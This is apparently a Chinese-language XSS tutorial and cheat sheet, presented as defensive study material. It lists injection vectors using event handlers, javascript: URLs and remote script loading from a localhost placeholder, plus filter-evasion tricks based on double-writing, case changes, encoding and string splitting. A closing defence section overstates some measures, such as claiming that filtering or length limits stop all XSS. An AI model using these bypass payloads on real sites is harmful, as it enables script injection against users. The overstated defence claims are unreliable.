前言
跨站脚本攻击,是代码注入的一种,它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响
本文仅用于网络信息防御学习
漏洞原理
- 用户能够控制输入
- 原本程序要执行的代码,拼接了用户输入的数据
漏洞种类
- DOM型XSS
- 在请求的参数中(也有可能存在于锚点中)实现XSS,但是仅仅对此次访问产生影响
- 反射型XSS(Reflected)
- 你提交的数据成功的实现了XSS,但是仅仅是对此次访问产生了影响,是非持久性攻击
- 存储型XSS(Stored)
- 你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发,是持久性攻击
- 突变型mXSS
- 通用型UXSS
- Flash XSS
- UTF-7 XSS
- MHTML XSS
- CSS XSS
- VBScript XSS
漏洞利用
可以用于测试XSS工具的JS语句
可以用于XSS攻击的恶意HTML标签
script
1
| <script>alert(1)</script>
|
1
| <script src="http://127.0.0.1:80/index.js"></script>
|
事件自动触发
img
1
| <img src="" onerror="alert(1)">
|
1
| <input onfocus="alert(1)" autofocus>
|
details
1
| <details ontoggle="alert(1)" open></details>
|
svg
1
| <svg onload="alert(1)"></svg>
|
select
1
| <select onfocus="alert(1)" autofocus></select>
|
iframe
1
| <iframe onload="alert(1)"></iframe>
|
video
1
| <video><source onerror="alert(1)"></video>
|
audio
1
| <audio src="" onerror="alert(1)"></audio>
|
body
1
| <body onload="alert(1)"></body>
|
textarea
1
| <textarea onfocus="alert(1)" autofocus></textarea>
|
link包含
1
| <link rel="import" href="http://127.0.0.1:80/index.js">
|
javascript伪协议
a
1
| <a href="javascript:alert(1)">点击</a>
|
iframe
1
| <iframe src="javascript:alert(1)"></iframe>
|
1
| <form action="javascript:alert(1)"><input type="submit"></form>
|
关键字绕过
双写绕过关键字过滤
1
| <<script>script>alert(1)</script>
|
大小写绕过关键字过滤
1
| <Script>alert(1)</script>
|
制表符/换行绕过关键字过滤
- 如果服务器做了关键字匹配过滤,可以将关键字中间加入制表符或换行
1 2 3 4
| <s cript>alert(1)</script>
<s cript>alert(1)</script>
|
编码绕过关键字过滤
URL编码
a |
97 |
a |
a |
制表符 |
9 |
	 |
 |
换行符 |
10 |
|
  |
回车符 |
13 |
|
Ð |
1
| <a href="javascript:alert(1)"></a>
|
Unicode编码
1
| <img src="" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')">
|
拆分绕过关键字过滤
- 如果服务器做了关键字匹配过滤,可以将关键字拆分成多个字符串变量,最后将字符串合并,通过
eval()
执行
1 2 3
| <script>let a = 'a'</script> <script>let b = 'lert'</script> <script>eval(a+b+'(1)')</script>
|
引号过滤绕过
- 如果服务器做了字符串
'
、"
匹配过滤,可以采用引号绕过
改用双引号
1
| <a href="javascript:alert(1)"></a>
|
改用单引号
1
| <a href='javascript:alert(1)'></a>
|
改为不使用引号
1
| <a href=javascript:alert(1)></a>
|
空格过滤绕过
1
| <a/href="javascript:alert(1)"></a>
|
ShellCode调用的位置
1
| <script src="http://127.0.0.1:80/xss.js"></script>
|
- 构造出如下请求,将xss代码通过
window.location.hash
存储在地址中
1
| ?xss=<script>eval(window.location.hash.substr(1))</script>#alert(1)
|
过滤探测
- 探测代码执行后通过审查元素,查看哪些字符被过滤了
- 可以探测到是否有引号过滤、是否有尖括号过滤、是否有关键字过滤、是否进行大小写转换
防御
- 通过字符过滤防御所有XSS
- 通过限制输入的字符串长度防御所有XSS
- 通过将特殊字符转义的方式防御所有XSS
- 通过HTTPOnly的方式存储Cookie防御通过XSS窃取Cookie
- 通过设置CSP(Content Security Policy)控制向外发送请求的限制
完成
参考文献
哔哩哔哩——腾讯掌控安全学院 哔哩哔哩——千锋教育网络安全学院 哔哩哔哩——xiaodisec 先知社区——By七友